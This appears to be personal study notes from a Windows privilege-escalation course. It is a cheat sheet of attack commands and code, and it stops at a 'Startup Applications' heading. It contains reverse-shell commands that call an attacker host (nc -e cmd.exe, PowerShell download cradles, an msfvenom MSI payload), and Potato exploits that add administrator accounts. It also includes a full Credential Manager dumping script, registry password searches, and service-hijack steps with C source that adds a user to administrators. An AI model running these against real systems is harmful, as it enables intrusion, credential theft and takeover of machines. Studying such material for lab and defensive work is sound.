TCM Win PrivEsc

From Kali to Windows

WinEXE

winexe -U <user>%<pass> //<target_ip> "cmd.exe"

PsExec

psexec.py <user>:'<pass>'@<target ip>

SMBExec

smbexec.py <user>:'<pass>'@<target ip>

Powershell Reverse TCP

Invoke-PowerShellTcp -Reverse -IPAddress <kali_ip> -Port <kali_port>

Great Guides for Windows PrivEsc

Fuzzy Security Guide

Payload all the thing

Absoloom's Guide

Sushant 747's Guide

Exploring Automated Tools

winpeas

Windows Priv Esc Checklist

Sherlock

Watson

PowerUp

JAWS

Windows Exploit Suggester

Metasploit Local Exploit Suggester

Seatbelt

SharpUp

Kernel Exploit

Windows Kernel Exploits

MS15-051

MS15-051-KB3045171.zip (https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS15-051/MS15-051-KB3045171.zip)

ms15-051x64.exe "nc.exe 10.10.10.10 443 -e cmd.exe"

MS10-059

Churraskito.exe <kali_ip> <kali_port>

Stored Password in registry

Quick win!

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

Port Forwarding using plink.exe

On target machine:

plink.exe -l <user> -pw <pw> -R <kaliport>:127.0.0.1:<localport> <kali_ip>

From Kali, we can do something like:

winexe -U <user>%<pass> //127.0.0.1 "cmd.exe"

Windows Subsystem

wsl whoami
./ubuntu1604.exe config --default-user root
wsl whoami
wsl python -c '<python bind/reverse shell>'

Find bash / wsl on Windows:

where /R C:\Windows bash.exe
where /R C:\Windows wsl.exe

PsExec / smbexec from Kali:

psexec.py <user>:'<pass>'@<target ip>
smbexec.py <user>:'<pass>'@<target ip>

Potato Attack

Exploit - JuicyPotato.exe

JuicyPotato.exe -l 1234 -t * -p <program to launch>

For the -p switch, you may craft a .bat file in order to run something more complicate.

For example, if you want to get a SYSTEM reverse shell, you may make use of Invoke-PowerShellTcp.ps1.

The BAT file:

powershell -c iex(New-Object Net.WebClient).DownloadString('http://10.10.14.8/Invoke-PowerShellTcp.ps1')

For the Invoke-PowerShellTcp.ps1file, add Invoke-PowershellTcp -Reverse -IPAddress 10.10.14.8 -Port 443 at the end.

Then execute JuicyPotato.exe:

JuicyPotato.exe -l 1234 -t * -p shell.bat

Alternative Data Stream (ADS)

To make an ADS (in this case, add the message hideme to a stream showme in example.

echo hideme > example:showme

To inspect if a file has ADS,

dir /R
Get-Item -Path <file_path> -Stream *

To get the content in ADS (e.g. hm.txt:root.txt:$DATA)

more < hm.txt:root.txt:$DATA
Get-Content -Path <file_path> -Stream <stream name>

Another Exploit - Tater.ps1

. .\Tater.ps1
Invoke-Tater -Trigger 1 -Command "net user tater Winter2016 /add && net localgroup administrators tater /add"

Credential Manager - Stored Username / Password

To show stored credentials:

cmdkey /list

To abuse the stored credential:

C:\Windows\System32\runas.exe /user:<stored_user> /savecred "C:\Windows\System32\cmd.exe /c <command>"

Again for complex argument, we may use Powershell encoded command. For example, we would like to get a Powershell reverse shell, we may want to execute:

IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.8/Invoke-PowerShellTcp.ps1')

In order to use runas without the "quote pain", we could encode the command. To do so, on Kali:

echo -n "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.8/Invoke-PowerShellTcp.ps1')" | iconv --to-code UTF-16LE | base64 -w 0

Then on the Windows target, do:

runas.exe /user:<stored_user> /savecred "cmd.exe /c powershell -enc <b64_code>"

If you have RDP session:

runas /savecred /user:admin "powershell -c start-process cmd.exe -verb runas"

Extraction Script (cms.ps1)

[String] $PsCredmanUtils = @"
using System;
using System.Runtime.InteropServices;

namespace PsUtils
{
    public class CredMan
    {
        // DllImport derives from System.Runtime.InteropServices
        [DllImport("Advapi32.dll", SetLastError = true, EntryPoint = "CredDeleteW", CharSet = CharSet.Unicode)]
        private static extern bool CredDeleteW([In] string target, [In] CRED_TYPE type, [In] int reservedFlag);

        [DllImport("Advapi32.dll", SetLastError = true, EntryPoint = "CredEnumerateW", CharSet = CharSet.Unicode)]
        private static extern bool CredEnumerateW([In] string Filter, [In] int Flags, out int Count, out IntPtr CredentialPtr);

        [DllImport("Advapi32.dll", SetLastError = true, EntryPoint = "CredFree")]
        private static extern void CredFree([In] IntPtr cred);

        [DllImport("Advapi32.dll", SetLastError = true, EntryPoint = "CredReadW", CharSet = CharSet.Unicode)]
        private static extern bool CredReadW([In] string target, [In] CRED_TYPE type, [In] int reservedFlag, out IntPtr CredentialPtr);

        [DllImport("Advapi32.dll", SetLastError = true, EntryPoint = "CredWriteW", CharSet = CharSet.Unicode)]
        private static extern bool CredWriteW([In] ref Credential userCredential, [In] UInt32 flags);
        public enum CRED_FLAGS : uint
        {
            NONE = 0x0,
            PROMPT_NOW = 0x2,
            USERNAME_TARGET = 0x4
        }

        public enum CRED_ERRORS : uint
        {
            ERROR_SUCCESS = 0x0,
            ERROR_INVALID_PARAMETER = 0x80070057,
            ERROR_INVALID_FLAGS = 0x800703EC,
            ERROR_NOT_FOUND = 0x80070490,
            ERROR_NO_SUCH_LOGON_SESSION = 0x80070520,
            ERROR_BAD_USERNAME = 0x8007089A
        }

        public enum CRED_PERSIST : uint
        {
            SESSION = 1,
            LOCAL_MACHINE = 2,
            ENTERPRISE = 3
        }

        public enum CRED_TYPE : uint
        {
            GENERIC = 1,
            DOMAIN_PASSWORD = 2,
            DOMAIN_CERTIFICATE = 3,
            DOMAIN_VISIBLE_PASSWORD = 4,
            GENERIC_CERTIFICATE = 5,
            DOMAIN_EXTENDED = 6,
            MAXIMUM = 7,      // Maximum supported cred type
            MAXIMUM_EX = (MAXIMUM + 1000),  // Allow new applications to run on old OSes
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        public struct Credential
        {
            public CRED_FLAGS Flags;
            public CRED_TYPE Type;
            public string TargetName;
            public string Comment;
            public DateTime LastWritten;
            public UInt32 CredentialBlobSize;
            public string CredentialBlob;
            public CRED_PERSIST Persist;
            public UInt32 AttributeCount;
            public IntPtr Attributes;
            public string TargetAlias;
            public string UserName;
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        private struct NativeCredential
        {
            public CRED_FLAGS Flags;
            public CRED_TYPE Type;
            public IntPtr TargetName;
            public IntPtr Comment;
            public System.Runtime.InteropServices.ComTypes.FILETIME LastWritten;
            public UInt32 CredentialBlobSize;
            public IntPtr CredentialBlob;
            public UInt32 Persist;
            public UInt32 AttributeCount;
            public IntPtr Attributes;
            public IntPtr TargetAlias;
            public IntPtr UserName;
        }
        private class CriticalCredentialHandle : Microsoft.Win32.SafeHandles.CriticalHandleZeroOrMinusOneIsInvalid
        {
            public CriticalCredentialHandle(IntPtr preexistingHandle)
            {
                SetHandle(preexistingHandle);
            }

            private Credential XlateNativeCred(IntPtr pCred)
            {
                NativeCredential ncred = (NativeCredential)Marshal.PtrToStructure(pCred, typeof(NativeCredential));
                Credential cred = new Credential();
                cred.Type = ncred.Type;
                cred.Flags = ncred.Flags;
                cred.Persist = (CRED_PERSIST)ncred.Persist;

                long LastWritten = ncred.LastWritten.dwHighDateTime;
                LastWritten = (LastWritten << 32) + ncred.LastWritten.dwLowDateTime;
                cred.LastWritten = DateTime.FromFileTime(LastWritten);

                cred.UserName = Marshal.PtrToStringUni(ncred.UserName);
                cred.TargetName = Marshal.PtrToStringUni(ncred.TargetName);
                cred.TargetAlias = Marshal.PtrToStringUni(ncred.TargetAlias);
                cred.Comment = Marshal.PtrToStringUni(ncred.Comment);
                cred.CredentialBlobSize = ncred.CredentialBlobSize;
                if (0 < ncred.CredentialBlobSize)
                {
                    cred.CredentialBlob = Marshal.PtrToStringUni(ncred.CredentialBlob, (int)ncred.CredentialBlobSize / 2);
                }
                return cred;
            }

            public Credential GetCredential()
            {
                if (IsInvalid)
                {
                    throw new InvalidOperationException("Invalid CriticalHandle!");
                }
                Credential cred = XlateNativeCred(handle);
                return cred;
            }

            public Credential[] GetCredentials(int count)
            {
                if (IsInvalid)
                {
                    throw new InvalidOperationException("Invalid CriticalHandle!");
                }
                Credential[] Credentials = new Credential[count];
                IntPtr pTemp = IntPtr.Zero;
                for (int inx = 0; inx < count; inx++)
                {
                    pTemp = Marshal.ReadIntPtr(handle, inx * IntPtr.Size);
                    Credential cred = XlateNativeCred(pTemp);
                    Credentials[inx] = cred;
                }
                return Credentials;
            }

            override protected bool ReleaseHandle()
            {
                if (IsInvalid)
                {
                    return false;
                }
                CredFree(handle);
                SetHandleAsInvalid();
                return true;
            }
        }
        public static int CredDelete(string target, CRED_TYPE type)
        {
            if (!CredDeleteW(target, type, 0))
            {
                return Marshal.GetHRForLastWin32Error();
            }
            return 0;
        }

        public static int CredEnum(string Filter, out Credential[] Credentials)
        {
            int count = 0;
            int Flags = 0x0;
            if (string.IsNullOrEmpty(Filter) ||
                "*" == Filter)
            {
                Filter = null;
                if (6 <= Environment.OSVersion.Version.Major)
                {
                    Flags = 0x1; //CRED_ENUMERATE_ALL_CREDENTIALS; only valid is OS >= Vista
                }
            }
            IntPtr pCredentials = IntPtr.Zero;
            if (!CredEnumerateW(Filter, Flags, out count, out pCredentials))
            {
                Credentials = null;
                return Marshal.GetHRForLastWin32Error(); 
            }
            CriticalCredentialHandle CredHandle = new CriticalCredentialHandle(pCredentials);
            Credentials = CredHandle.GetCredentials(count);
            return 0;
        }

        public static int CredRead(string target, CRED_TYPE type, out Credential Credential)
        {
            IntPtr pCredential = IntPtr.Zero;
            Credential = new Credential();
            if (!CredReadW(target, type, 0, out pCredential))
            {
                return Marshal.GetHRForLastWin32Error();
            }
            CriticalCredentialHandle CredHandle = new CriticalCredentialHandle(pCredential);
            Credential = CredHandle.GetCredential();
            return 0;
        }

        public static int CredWrite(Credential userCredential)
        {
            if (!CredWriteW(ref userCredential, 0))
            {
                return Marshal.GetHRForLastWin32Error();
            }
            return 0;
        }

        private static int AddCred()
        {
            Credential Cred = new Credential();
            string Password = "Password";
            Cred.Flags = 0;
            Cred.Type = CRED_TYPE.GENERIC;
            Cred.TargetName = "Target";
            Cred.UserName = "UserName";
            Cred.AttributeCount = 0;
            Cred.Persist = CRED_PERSIST.ENTERPRISE;
            Cred.CredentialBlobSize = (uint)Password.Length;
            Cred.CredentialBlob = Password;
            Cred.Comment = "Comment";
            return CredWrite(Cred);
        }

        private static bool CheckError(string TestName, CRED_ERRORS Rtn)
        {
            switch(Rtn)
            {
                case CRED_ERRORS.ERROR_SUCCESS:
                    Console.WriteLine(string.Format("'{0}' worked", TestName));
                    return true;
                case CRED_ERRORS.ERROR_INVALID_FLAGS:
                case CRED_ERRORS.ERROR_INVALID_PARAMETER:
                case CRED_ERRORS.ERROR_NO_SUCH_LOGON_SESSION:
                case CRED_ERRORS.ERROR_NOT_FOUND:
                case CRED_ERRORS.ERROR_BAD_USERNAME:
                    Console.WriteLine(string.Format("'{0}' failed; {1}.", TestName, Rtn));
                    break;
                default:
                    Console.WriteLine(string.Format("'{0}' failed; 0x{1}.", TestName, Rtn.ToString("X")));
                    break;
            }
            return false;
        }

        /*
         * Note: the Main() function is primarily for debugging and testing in a Visual 
         * Studio session.  Although it will work from PowerShell, it's not very useful.
         */
        public static void Main()
        {
            Credential[] Creds = null;
            Credential Cred = new Credential();
            int Rtn = 0;

            Console.WriteLine("Testing CredWrite()");
            Rtn = AddCred();
            if (!CheckError("CredWrite", (CRED_ERRORS)Rtn))
            {
                return;
            }
            Console.WriteLine("Testing CredEnum()");
            Rtn = CredEnum(null, out Creds);
            if (!CheckError("CredEnum", (CRED_ERRORS)Rtn))
            {
                return;
            }
            Console.WriteLine("Testing CredRead()");
            Rtn = CredRead("Target", CRED_TYPE.GENERIC, out Cred);
            if (!CheckError("CredRead", (CRED_ERRORS)Rtn))
            {
                return;
            }
            Console.WriteLine("Testing CredDelete()");
            Rtn = CredDelete("Target", CRED_TYPE.GENERIC);
            if (!CheckError("CredDelete", (CRED_ERRORS)Rtn))
            {
                return;
            }
            Console.WriteLine("Testing CredRead() again");
            Rtn = CredRead("Target", CRED_TYPE.GENERIC, out Cred);
            if (!CheckError("CredRead", (CRED_ERRORS)Rtn))
            {
                Console.WriteLine("if the error is 'ERROR_NOT_FOUND', this result is OK.");
            }
        }
    }
}
"@

$PsCredMan = $null
try
{
	$PsCredMan = [PsUtils.CredMan]
}
catch
{
	$Error.RemoveAt($Error.Count-1)
}
if($null -eq $PsCredMan)
{
	Add-Type $PsCredmanUtils
}

[HashTable] $ErrorCategory = @{0x80070057 = "InvalidArgument";
                               0x800703EC = "InvalidData";
                               0x80070490 = "ObjectNotFound";
                               0x80070520 = "SecurityError";
                               0x8007089A = "SecurityError"}

function Get-CredType
{
	Param
	(
		[Parameter(Mandatory=$true)][ValidateSet("GENERIC",
												  "DOMAIN_PASSWORD",
												  "DOMAIN_CERTIFICATE",
												  "DOMAIN_VISIBLE_PASSWORD",
												  "GENERIC_CERTIFICATE",
												  "DOMAIN_EXTENDED",
												  "MAXIMUM",
												  "MAXIMUM_EX")][String] $CredType
	)
	
	switch($CredType)
	{
		"GENERIC" {return [PsUtils.CredMan+CRED_TYPE]::GENERIC}
		"DOMAIN_PASSWORD" {return [PsUtils.CredMan+CRED_TYPE]::DOMAIN_PASSWORD}
		"DOMAIN_CERTIFICATE" {return [PsUtils.CredMan+CRED_TYPE]::DOMAIN_CERTIFICATE}
		"DOMAIN_VISIBLE_PASSWORD" {return [PsUtils.CredMan+CRED_TYPE]::DOMAIN_VISIBLE_PASSWORD}
		"GENERIC_CERTIFICATE" {return [PsUtils.CredMan+CRED_TYPE]::GENERIC_CERTIFICATE}
		"DOMAIN_EXTENDED" {return [PsUtils.CredMan+CRED_TYPE]::DOMAIN_EXTENDED}
		"MAXIMUM" {return [PsUtils.CredMan+CRED_TYPE]::MAXIMUM}
		"MAXIMUM_EX" {return [PsUtils.CredMan+CRED_TYPE]::MAXIMUM_EX}
	}
}

function Get-CredPersist
{
	Param
	(
		[Parameter(Mandatory=$true)][ValidateSet("SESSION",
												  "LOCAL_MACHINE",
												  "ENTERPRISE")][String] $CredPersist
	)
	
	switch($CredPersist)
	{
		"SESSION" {return [PsUtils.CredMan+CRED_PERSIST]::SESSION}
		"LOCAL_MACHINE" {return [PsUtils.CredMan+CRED_PERSIST]::LOCAL_MACHINE}
		"ENTERPRISE" {return [PsUtils.CredMan+CRED_PERSIST]::ENTERPRISE}
	}
}
function Del-Creds
{
	Param
	(
		[Parameter(Mandatory=$true)][ValidateLength(1,32767)][String] $Target,
		[Parameter(Mandatory=$false)][ValidateSet("GENERIC",
												  "DOMAIN_PASSWORD",
												  "DOMAIN_CERTIFICATE",
												  "DOMAIN_VISIBLE_PASSWORD",
												  "GENERIC_CERTIFICATE",
												  "DOMAIN_EXTENDED",
												  "MAXIMUM",
												  "MAXIMUM_EX")][String] $CredType = "GENERIC"
	)
	
	[Int] $Results = 0
	try
	{
		$Results = [PsUtils.CredMan]::CredDelete($Target, $(Get-CredType $CredType))
	}
	catch
	{
		return $_
	}
	if(0 -ne $Results)
	{
		[String] $Msg = "Failed to delete credentials store for target '$Target'"
		[Management.ManagementException] $MgmtException = New-Object Management.ManagementException($Msg)
		[Management.Automation.ErrorRecord] $ErrRcd = New-Object Management.Automation.ErrorRecord($MgmtException, $Results.ToString("X"), $ErrorCategory[$Results], $null)
		return $ErrRcd
	}
	return $Results
}

function Enum-Creds
{
	Param
	(
		[Parameter(Mandatory=$false)][AllowEmptyString()][String] $Filter = [String]::Empty
	)
	
	[PsUtils.CredMan+Credential[]] $Creds = [Array]::CreateInstance([PsUtils.CredMan+Credential], 0)
	[Int] $Results = 0
	try
	{
		$Results = [PsUtils.CredMan]::CredEnum($Filter, [Ref]$Creds)
	}
	catch
	{
		return $_
	}
	switch($Results)
	{
        0 {break}
        0x80070490 {break} #ERROR_NOT_FOUND
        default
        {
    		[String] $Msg = "Failed to enumerate credentials store for user '$Env:UserName'"
    		[Management.ManagementException] $MgmtException = New-Object Management.ManagementException($Msg)
    		[Management.Automation.ErrorRecord] $ErrRcd = New-Object Management.Automation.ErrorRecord($MgmtException, $Results.ToString("X"), $ErrorCategory[$Results], $null)
    		return $ErrRcd
        }
	}
	return $Creds
}

function Read-Creds
{
	Param
	(
		[Parameter(Mandatory=$true)][ValidateLength(1,32767)][String] $Target,
		[Parameter(Mandatory=$false)][ValidateSet("GENERIC",
												  "DOMAIN_PASSWORD",
												  "DOMAIN_CERTIFICATE",
												  "DOMAIN_VISIBLE_PASSWORD",
												  "GENERIC_CERTIFICATE",
												  "DOMAIN_EXTENDED",
												  "MAXIMUM",
												  "MAXIMUM_EX")][String] $CredType = "GENERIC"
	)
	
	if("GENERIC" -ne $CredType -and 337 -lt $Target.Length) #CRED_MAX_DOMAIN_TARGET_NAME_LENGTH
	{
		[String] $Msg = "Target field is longer ($($Target.Length)) than allowed (max 337 characters)"
		[Management.ManagementException] $MgmtException = New-Object Management.ManagementException($Msg)
		[Management.Automation.ErrorRecord] $ErrRcd = New-Object Management.Automation.ErrorRecord($MgmtException, 666, 'LimitsExceeded', $null)
		return $ErrRcd
	}
	[PsUtils.CredMan+Credential] $Cred = New-Object PsUtils.CredMan+Credential
    [Int] $Results = 0
	try
	{
		$Results = [PsUtils.CredMan]::CredRead($Target, $(Get-CredType $CredType), [Ref]$Cred)
	}
	catch
	{
		return $_
	}
	
	switch($Results)
	{
        0 {break}
        0x80070490 {return $null} #ERROR_NOT_FOUND
        default
        {
    		[String] $Msg = "Error reading credentials for target '$Target' from '$Env:UserName' credentials store"
    		[Management.ManagementException] $MgmtException = New-Object Management.ManagementException($Msg)
    		[Management.Automation.ErrorRecord] $ErrRcd = New-Object Management.Automation.ErrorRecord($MgmtException, $Results.ToString("X"), $ErrorCategory[$Results], $null)
    		return $ErrRcd
        }
	}
	return $Cred
}

function Write-Creds
{
	Param
	(
		[Parameter(Mandatory=$false)][ValidateLength(0,32676)][String] $Target,
		[Parameter(Mandatory=$true)][ValidateLength(1,512)][String] $UserName,
		[Parameter(Mandatory=$true)][ValidateLength(1,512)][String] $Password,
		[Parameter(Mandatory=$false)][ValidateLength(0,256)][String] $Comment = [String]::Empty,
		[Parameter(Mandatory=$false)][ValidateSet("GENERIC",
												  "DOMAIN_PASSWORD",
												  "DOMAIN_CERTIFICATE",
												  "DOMAIN_VISIBLE_PASSWORD",
												  "GENERIC_CERTIFICATE",
												  "DOMAIN_EXTENDED",
												  "MAXIMUM",
												  "MAXIMUM_EX")][String] $CredType = "GENERIC",
		[Parameter(Mandatory=$false)][ValidateSet("SESSION",
												  "LOCAL_MACHINE",
												  "ENTERPRISE")][String] $CredPersist = "ENTERPRISE"
	)

	if([String]::IsNullOrEmpty($Target))
	{
		$Target = $UserName
	}
	if("GENERIC" -ne $CredType -and 337 -lt $Target.Length) #CRED_MAX_DOMAIN_TARGET_NAME_LENGTH
	{
		[String] $Msg = "Target field is longer ($($Target.Length)) than allowed (max 337 characters)"
		[Management.ManagementException] $MgmtException = New-Object Management.ManagementException($Msg)
		[Management.Automation.ErrorRecord] $ErrRcd = New-Object Management.Automation.ErrorRecord($MgmtException, 666, 'LimitsExceeded', $null)
		return $ErrRcd
	}
    if([String]::IsNullOrEmpty($Comment))
    {
        $Comment = [String]::Format("Last edited by {0}\{1} on {2}",
                                    $Env:UserDomain,
                                    $Env:UserName,
                                    $Env:ComputerName)
    }
	[String] $DomainName = [Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties().DomainName
	[PsUtils.CredMan+Credential] $Cred = New-Object PsUtils.CredMan+Credential
	switch($Target -eq $UserName -and 
		   ("CRED_TYPE_DOMAIN_PASSWORD" -eq $CredType -or 
		    "CRED_TYPE_DOMAIN_CERTIFICATE" -eq $CredType))
	{
		$true  {$Cred.Flags = [PsUtils.CredMan+CRED_FLAGS]::USERNAME_TARGET}
		$false  {$Cred.Flags = [PsUtils.CredMan+CRED_FLAGS]::NONE}
	}
	$Cred.Type = Get-CredType $CredType
	$Cred.TargetName = $Target
	$Cred.UserName = $UserName
	$Cred.AttributeCount = 0
	$Cred.Persist = Get-CredPersist $CredPersist
	$Cred.CredentialBlobSize = [Text.Encoding]::Unicode.GetBytes($Password).Length
	$Cred.CredentialBlob = $Password
	$Cred.Comment = $Comment

	[Int] $Results = 0
	try
	{
		$Results = [PsUtils.CredMan]::CredWrite($Cred)
	}
	catch
	{
		return $_
	}

	if(0 -ne $Results)
	{
		[String] $Msg = "Failed to write to credentials store for target '$Target' using '$UserName', '$Password', '$Comment'"
		[Management.ManagementException] $MgmtException = New-Object Management.ManagementException($Msg)
		[Management.Automation.ErrorRecord] $ErrRcd = New-Object Management.Automation.ErrorRecord($MgmtException, $Results.ToString("X"), $ErrorCategory[$Results], $null)
		return $ErrRcd
	}
	return $Results
}

function CredManMain
{
	if($AddCred)
	{
		if([String]::IsNullOrEmpty($User) -or
		   [String]::IsNullOrEmpty($Pass))
		{
			Write-Host "You must supply a user name and password (target URI is optional)."
			return
		}
		# may be [Int32] or [Management.Automation.ErrorRecord]
		[Object] $Results = Write-Creds $Target $User $Pass $Comment $CredType $CredPersist
		if(0 -eq $Results)
		{
			[Object] $Cred = Read-Creds $Target $CredType
			if($null -eq $Cred)
			{
				Write-Host "Credentials for '$Target', '$User' was not found."
				return
			}
			if($Cred -is [Management.Automation.ErrorRecord])
			{
				return $Cred
			}
			[String] $CredStr = @"
Successfully wrote or updated credentials as:
  UserName  : $($Cred.UserName)
  Password  : $($Cred.CredentialBlob)
  Target    : $($Cred.TargetName.Substring($Cred.TargetName.IndexOf("=")+1))
  Updated   : $([String]::Format("{0:yyyy-MM-dd HH:mm:ss}", $Cred.LastWritten.ToUniversalTime())) UTC
  Comment   : $($Cred.Comment)
"@
			Write-Host $CredStr
			return
		}
		# will be a [Management.Automation.ErrorRecord]
		return $Results
	}
	if($DelCred)
	{
		if(-not $Target)
		{
			Write-Host "You must supply a target URI."
			return
		}
		# may be [Int32] or [Management.Automation.ErrorRecord]
		[Object] $Results = Del-Creds $Target $CredType 
		if(0 -eq $Results)
		{
			Write-Host "Successfully deleted credentials for '$Target'"
			return
		}
		# will be a [Management.Automation.ErrorRecord]
		return $Results
	}

	if($GetCred)
	{
		if(-not $Target)
		{
			Write-Host "You must supply a target URI."
			return
		}
		# may be [PsUtils.CredMan+Credential] or [Management.Automation.ErrorRecord]
		[Object] $Cred = Read-Creds $Target $CredType
		if($null -eq $Cred)
		{
			Write-Host "Credential for '$Target' as '$CredType' type was not found."
			return
		}
		if($Cred -is [Management.Automation.ErrorRecord])
		{
			return $Cred
		}
		[String] $CredStr = @"
Found credentials as:
  UserName  : $($Cred.UserName)
  Password  : $($Cred.CredentialBlob)
  Target    : $($Cred.TargetName.Substring($Cred.TargetName.IndexOf("=")+1))
  Updated   : $([String]::Format("{0:yyyy-MM-dd HH:mm:ss}", $Cred.LastWritten.ToUniversalTime())) UTC
  Comment   : $($Cred.Comment)
"@
		Write-Host $CredStr
	}
	if($ShoCred)
	{
		# may be [PsUtils.CredMan+Credential[]] or [Management.Automation.ErrorRecord]
		[Object] $Creds = Enum-Creds
		if($Creds -split [Array] -and 0 -eq $Creds.Length)
		{
			Write-Host "No Credentials found for $($Env:UserName)"
			return
		}
		if($Creds -is [Management.Automation.ErrorRecord])
		{
			return $Creds
		}
		foreach($Cred in $Creds)
		{
			[String] $CredStr = @"
			
UserName  : $($Cred.UserName)
Password  : $($Cred.CredentialBlob)
Target    : $($Cred.TargetName.Substring($Cred.TargetName.IndexOf("=")+1))
Updated   : $([String]::Format("{0:yyyy-MM-dd HH:mm:ss}", $Cred.LastWritten.ToUniversalTime())) UTC
Comment   : $($Cred.Comment)
"@
			if($All)
			{
				$CredStr = @"
$CredStr
Alias     : $($Cred.TargetAlias)
AttribCnt : $($Cred.AttributeCount)
Attribs   : $($Cred.Attributes)
Flags     : $($Cred.Flags)
Pwd Size  : $($Cred.CredentialBlobSize)
Storage   : $($Cred.Persist)
Type      : $($Cred.Type)
"@
			}
			Write-Host $CredStr
		}
		return
	}
	if($RunTests)
	{
		[PsUtils.CredMan]::Main()
	}
}

CredManMain
Enum-Creds

Insecure Service Permission

Check program permission using accesschk.exe:

accesschk.exe /accepteula -uwcqv "Everyone" *
accesschk.exe /accepteula -uwcqv "Users" *
accesschk.exe /accepteula -uwcqv "Authenticated Users" *

Note the services with ALL_ACCESS. After getting the service name, further check:

sc qc <service_name>

The binpath could be changed:

sc config <service> binpath= "<reverse_shell_path>"
sc config <service> start= auto
net start <service>

Could also try 1-liner to detect:

wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

Insecure Service in Hive

accesschk.exe -accepteula -kvuqsw hklm\System\CurrentControlSet\services > c:\Users\Public\regs.txt
  • Search for "Authenticated Users"

  • Look for RW + KEY_ALL_ACCESS

For example, if we found HKLM\System\CurrentControlSet\services\IKEEXT, then do

reg query HKLM\System\CurrentControlSet\services\IKEEXT
sc qc ikeext

We can reconfigure the ImagePath in the reg:

reg add HKLM\SYSTEM\CurrentControlSet\services\IKEEXT /v ImagePath /t REG_EXPAND_SZ /d C:\Users\Public\malicious.exe /f

Insecure Autorun program permission

We can use Autoruns.exe / Autoruns64.exe from sysinternal to check auto run program:

Then we can use accesschk.exe to check its permission:

accesschk.exe -wvu "<executable_directory_path>"

Abuse-able permission like FILE_ALL_ACCESS is dangerous. For example, we can replace it with a reverse shell executable.

Alternatively, we can reveal this checking by using PowerUp.ps1:

powershell -ep bypass
. .\PowerUp.ps1
Invoke-AllChecks

AlwaysInstallElevated

Detection - REG Query

reg query HKLM\Software\Policies\Microsoft\Windows\Installer
reg query HKCU\Software\Policies\Microsoft\Windows\Installer

If the output is AlwaysInstallElevated = 0x1, we can use this to escalate the privilege.

Another way to detect AlwaysInstallElevated is again using PowerUp.ps1. The section Checking for AlwaysInstallElevated registry keywill reveal the vulnerability:

powershell -ep bypass
. .\PowerUp.ps1
Invoke-AllChecks

Exploit - PowerUp / Msfvenom

Method 1: PowerUp

In the above output, if we then do:

Write-UserAddMSI

A msi installer will then be created. Once run, we will see the prompt:

This will lead to the creation of a local admin backdoor.

Method 2: msfvenom

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.17.191 LPORT=443 -f msi > install.msi

When it is executed, a reverse shell as SYSTEM will call back.

Method 3: MSI Wrapper

When double clicking the msi:

Service Escalation - Registry (regsvc)

Detection - Get-ACL of service

Use powershell:

Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl

If the output shows the current user:

  • belong to NT AUTHORITY\INTERACTIVE

  • has FullControl over the registry

We can abuse it!

Exploit - Compile system() file

Compile the following script (note the system() section)

#include <windows.h>
#include <stdio.h>

#define SLEEP_TIME 5000

SERVICE_STATUS ServiceStatus; 
SERVICE_STATUS_HANDLE hStatus; 
 
void ServiceMain(int argc, char** argv); 
void ControlHandler(DWORD request); 

//add the payload here
int Run() 
{ 
    system("cmd.exe /k net localgroup administrators user /add");
    return 0; 
} 

int main() 
{ 
    SERVICE_TABLE_ENTRY ServiceTable[2];
    ServiceTable[0].lpServiceName = "MyService";
    ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;

    ServiceTable[1].lpServiceName = NULL;
    ServiceTable[1].lpServiceProc = NULL;
 
    StartServiceCtrlDispatcher(ServiceTable);  
    return 0;
}

void ServiceMain(int argc, char** argv) 
{ 
    ServiceStatus.dwServiceType        = SERVICE_WIN32; 
    ServiceStatus.dwCurrentState       = SERVICE_START_PENDING; 
    ServiceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
    ServiceStatus.dwWin32ExitCode      = 0; 
    ServiceStatus.dwServiceSpecificExitCode = 0; 
    ServiceStatus.dwCheckPoint         = 0; 
    ServiceStatus.dwWaitHint           = 0; 
 
    hStatus = RegisterServiceCtrlHandler("MyService", (LPHANDLER_FUNCTION)ControlHandler); 
    Run(); 
    
    ServiceStatus.dwCurrentState = SERVICE_RUNNING; 
    SetServiceStatus (hStatus, &ServiceStatus);
 
    while (ServiceStatus.dwCurrentState == SERVICE_RUNNING)
    {
		Sleep(SLEEP_TIME);
    }
    return; 
}

void ControlHandler(DWORD request) 
{ 
    switch(request) 
    { 
        case SERVICE_CONTROL_STOP: 
			ServiceStatus.dwWin32ExitCode = 0; 
            ServiceStatus.dwCurrentState  = SERVICE_STOPPED; 
            SetServiceStatus (hStatus, &ServiceStatus);
            return; 
 
        case SERVICE_CONTROL_SHUTDOWN: 
            ServiceStatus.dwWin32ExitCode = 0; 
            ServiceStatus.dwCurrentState  = SERVICE_STOPPED; 
            SetServiceStatus (hStatus, &ServiceStatus);
            return; 
        
        default:
            break;
    } 
    SetServiceStatus (hStatus,  &ServiceStatus);
    return; 
} 

Compile on kali:

x86_64-w64-mingw32-gcc windows_service.c -o x.exe

Transfer the EXE to the target (e.g. C:\temp\x.exe). Then:

reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d c:\temp\x.exe /f

Once we start the service, user is added into admin group.

sc start regsvc

Executable set as a service

Detection - PowerUp

Use PowerUp.ps1:

powershell -ep bypass
. .\PowerUp.ps1
Invoke-AllChecks

The section Checking service executable and argument permissions will reveal something interesting:

Detection - Accesschk.exe

To double check the service executable permission, use accesschk.exe:

accesschk.exe -wvu "C:\Program Files\File Permissions Service\" /accepteula

Exploit

Same as the step in Service Escalation - Registry (regsvc), compile the c file.

For example, in Detection part we know service filepermsvc executableC:\Program Files\File Permissions Service\filepermservice is vulnerable, we can replace it with the compiled file. Then:

sc start filepermsvc

Startup Applications

Detection - icacls.exe

